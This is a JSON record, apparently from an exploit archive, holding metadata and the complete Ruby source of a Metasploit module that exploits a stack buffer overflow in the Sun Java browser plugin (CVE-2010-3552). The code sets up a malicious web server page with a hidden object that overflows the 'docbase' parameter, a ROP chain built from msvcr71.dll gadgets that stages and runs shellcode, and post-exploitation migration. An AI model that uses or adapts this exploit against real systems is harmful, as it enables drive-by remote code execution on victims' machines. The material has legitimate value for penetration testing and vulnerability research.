{"exploit":{"id":"MSF-windows--browser--java_docbase_bof","name":"Sun Java Runtime New Plugin docbase Buffer Overflow","description":"This module exploits a flaw in the new plugin component of the Sun Java Runtime Environment before v6 Update 22. By specifying specific parameters to the new plugin, an attacker can cause a stack-based buffer overflow and execute arbitrary code. When the new plugin is invoked with a \"launchjnlp\" parameter, it will copy the contents of the \"docbase\" parameter to a stack-buffer using the \"sprintf\" function. A string of 396 bytes is enough to overflow the 256 byte stack buffer and overwrite some local variables as well as the saved return address. NOTE: The string being copied is first passed through the \"WideCharToMultiByte\". Due to this, only characters which have a valid localized multibyte representation are allowed. Invalid characters will be replaced with question marks ('?'). This vulnerability was originally discovered independently by both Stephen Fewer and Berend Jan Wever (SkyLined). Although exhaustive testing hasn't been done, all versions since version 6 Update 10 are believed to be affected by this vulnerability. This vulnerability was patched as part of the October 2010 Oracle Patch release.","cves":["CVE-2010-3552"],"author":"jduck","published":"2010-10-12","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/browser/java_docbase_bof.rb","path":"modules/exploits/windows/browser/java_docbase_bof.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_docbase_bof.rb","vulnerabilities":[{"id":"CVE-2010-3552","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the New Java Plug-in component in Oracle Java SE and Java for Business 6 Update 21 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-3552","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-3552"},"updatedAt":"2024-08-07T03:11:44.335Z","retrievedAt":"2026-11-26T11:52:01.970Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--browser--java_docbase_bof.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--browser--java_docbase_bof","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_docbase_bof/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_docbase_bof/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GreatRanking\n\n  #\n  # This module acts as an HTTP server\n  #\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Sun Java Runtime New Plugin docbase Buffer Overflow',\n        'Description' => %q{\n          This module exploits a flaw in the new plugin component of the Sun Java\n          Runtime Environment before v6 Update 22. By specifying specific parameters\n          to the new plugin, an attacker can cause a stack-based buffer overflow and\n          execute arbitrary code.\n\n          When the new plugin is invoked with a \"launchjnlp\" parameter, it will\n          copy the contents of the \"docbase\" parameter to a stack-buffer using the\n          \"sprintf\" function. A string of 396 bytes is enough to overflow the 256\n          byte stack buffer and overwrite some local variables as well as the saved\n          return address.\n\n          NOTE: The string being copied is first passed through the \"WideCharToMultiByte\".\n          Due to this, only characters which have a valid localized multibyte\n          representation are allowed. Invalid characters will be replaced with\n          question marks ('?').\n\n          This vulnerability was originally discovered independently by both Stephen\n          Fewer and Berend Jan Wever (SkyLined). Although exhaustive testing hasn't\n          been done, all versions since version 6 Update 10 are believed to be affected\n          by this vulnerability.\n\n          This vulnerability was patched as part of the October 2010 Oracle Patch\n          release.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => 'jduck',\n        'References' => [\n          [ 'CVE', '2010-3552' ],\n          [ 'OSVDB', '68873' ],\n          [ 'BID', '44023' ],\n          [ 'URL', 'http://blog.harmonysecurity.com/2010/10/oracle-java-ie-browser-plugin-stack.html' ],\n          [ 'ZDI', '10-206' ],\n          [ 'URL', 'http://code.google.com/p/skylined/issues/detail?id=23' ],\n          [ 'URL', 'http://web.archive.org/web/20130119152812/http://skypher.com:80/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/' ],\n          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2010-176258.html' ],\n        ],\n        'Platform' => 'win',\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n        },\n        'Payload' => {\n          'Space' => 1024,\n          # The double quote is due to the html, the rest due to utf8 conversion crap.\n          'BadChars' => \"\\x00\\x22\" + (0x80..0x9f).to_a.pack('C*'),\n          'DisableNops' => true,\n          # 'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,\n          'EncoderOptions' =>\n                        {\n                          'BufferRegister' => 'EAX',\n                        }\n        },\n        'Targets' => [\n          # Tested OK on:\n          # JRE 6u21 on XPSP3 and Win7-RTM\n          # JRE 6u18 on XPSP3 (ugly dialog on IE8)\n          # JRE 6u11 on XPSP3 (ugly dialog on IE8)\n          [ 'Windows Universal (msvcr71.dll ROP)', {} ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2010-10-12',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def on_request_uri(cli, request)\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    print_status(\"Sending exploit HTML\")\n\n    # ActiveX params\n    clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'\n    var_obj = rand_text_alpha(8 + rand(8))\n\n# These addresses are from the bundled msvcr71.dll from JRE 6u21\n=begin\n7c340000 7c396000   MSVCR71    (export symbols)       C:\\Program Files\\Java\\jre6\\bin\\MSVCR71.dll\nLoaded symbol image file: C:\\Program Files\\Java\\jre6\\bin\\MSVCR71.dll\nImage path: C:\\Program Files\\Java\\jre6\\bin\\MSVCR71.dll\nImage name: MSVCR71.dll\nTimestamp:        Fri Feb 21 07:42:20 2003 (3E561EAC)\nCheckSum:         0005F1E9\nImageSize:        00056000\nFile version:     7.10.3052.4\nProduct version:  7.10.3052.4\n=end\n\n    base = 0x7c340000\n    rva = {\n      'scratch' => 0x4b170, # Scratch space..\n      'scratch2' => 0x4b170 - 0x10, # Scratch space..\n      'import_VA' => 0x3a08c - 0x58, # The import address of HeapCreate (less 0x58, avoid badchars)\n      'add_58_eax' => 0xd05e, # add eax, 0x58 / ret\n      'pop_eax' => 0x4cc1, # pop eax / ret\n      'deref_eax' => 0x130ea, # mov eax, [eax] / ret\n      'deref_eax4' => 0xe72b, # mov eax, [eax+4] / ret\n      'jmp_eax' => 0x13ac,  # push eax / ret\n      'jmp_ecx' => 0x6b0e,  # jmp ecx\n      'pop_edx' => 0x5937,  # pop edx / ret\n      'adjust_eax' => 0x32ef8, # add eax, 0x80bf / add dh, dh / ret\n      'rep_movsd' => 0x363f, # rep movsd / pop edi / pop esi / sub eax, eax / ret\n      'esp_to_esi' => 0x32f4f, # push esp / and al, 0x10 / mov [edx], ecx / pop esi / ret\n      'switcheroo' => 0x3427,  # mov ecx, eax / mov eax, esi / pop esi / ret 0x10\n      'st_eax_ecx' => 0x103c8, # mov [ecx], eax / ret\n      'xor_ecx' => 0x1aa5f, # xor ecx, ecx / mov [eax+0xc], ecx / ret 4\n      'set_ecx_fd' => 0x1690b, # mov cl, 0xfe / dec ecx / ret\n    }\n\n    extra_insn = 'nop'\n    # extra_insn = 'int 3'\n    single_op = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<-EOS).encode_string\n  #{extra_insn}\n  push ecx\n  pop edi\n  ret\n    EOS\n\n    # This is the ROP stack.\n    stack = [\n      # Load HeapCreate addr from IAT\n      'pop_eax',\n      0x41414141,     # unused space..\n      0x41414141,\n      0x41414141,\n      0x41414141,\n      'import_VA',    # becomes eax\n      'add_58_eax',\n      'deref_eax',\n\n      # call HeapCreate\n      'jmp_eax',\n      'adjust_eax',   # eip after HeapCreate\n      0x01040110,     # flOptions (gets & with 0x40005)\n      0x01010101,     # dwInitialSize\n      0x01010101,     # dwMaximumSize\n\n      # Move esp into esi\n      'pop_edx',\n      'scratch', # becomes edx\n      'esp_to_esi',\n\n      # Store a single-dword stub to our buffer\n      'switcheroo',\n      single_op.unpack('V').first, # becomes esi/eax\n      'deref_eax4',\n      0x41414141, # more unused space..\n      0x41414141,\n      0x41414141,\n      0x41414141,\n      'st_eax_ecx',\n\n      # Call our dword-stub\n      'jmp_ecx',\n\n      # Re-load ESP and save our Heap address to scratch (edx)\n      'esp_to_esi',\n\n      # Set ecx to something sane (for memcpy)\n      'pop_eax',\n      'scratch2',\n      'xor_ecx',\n      'set_ecx_fd',\n      0x41414141, # skipped by ret 0x4\n\n      # Do the memcpy!\n      'rep_movsd',\n      0x41414141,     # becomes edi\n      0x41414141,     # becomes esi\n\n      # Re-load our Heap pointer\n      'pop_eax',\n      'scratch',\n      'deref_eax',\n\n      # Adjust it to skip the non-payload parts\n      'add_58_eax',\n\n      # Execute it !\n      'jmp_eax',\n\n      # BOOO!\n      0x41414141\n    ]\n\n    # Replace unused entries with randomness\n    stack = stack.map { |el|\n      if el.kind_of? String\n        base + rva[el]\n      elsif el == 0x41414141\n        rand_text(4).unpack('V').first\n      else\n        el\n      end\n    }.pack('V*')\n\n    # Create the overflow buffer\n    docbase = rand_text(392)\n    docbase << stack\n    docbase << rand_text(584 - docbase.length)\n    docbase << payload.encoded\n\n    # Generate the html page that will trigger the vuln.\n    html = <<~EOS\n      <html>\n      <body>Please wait...\n      <object id=\"#{var_obj}\" classid=\"clsid:#{clsid}\" width=\"0\" height=\"0\">\n      <PARAM name=\"launchjnlp\" value=\"1\">\n      <PARAM name=\"docbase\" value=\"#{docbase}\">\n      </object>\n      <embed type=\"application/x-java-applet\" width=\"0\" height=\"0\" launchjnlp=\"1\" docbase=\"#{docbase}\" />\n      </body>\n      </html>\n    EOS\n\n    # Pow.\n    send_response_html(cli, html,\n                       {\n                         'Content-Type' => 'text/html',\n                         'Pragma' => 'no-cache'\n                       })\n  end\nend\n","sha256":"dff99b546fcc62e1df96c38547307f45d468b343c36000919fc9038c3a3c2e17","bytes":8159,"fetchedAt":"2026-11-26T11:51:56.457Z","encoding":"utf-8 (display only; download retains original bytes)"}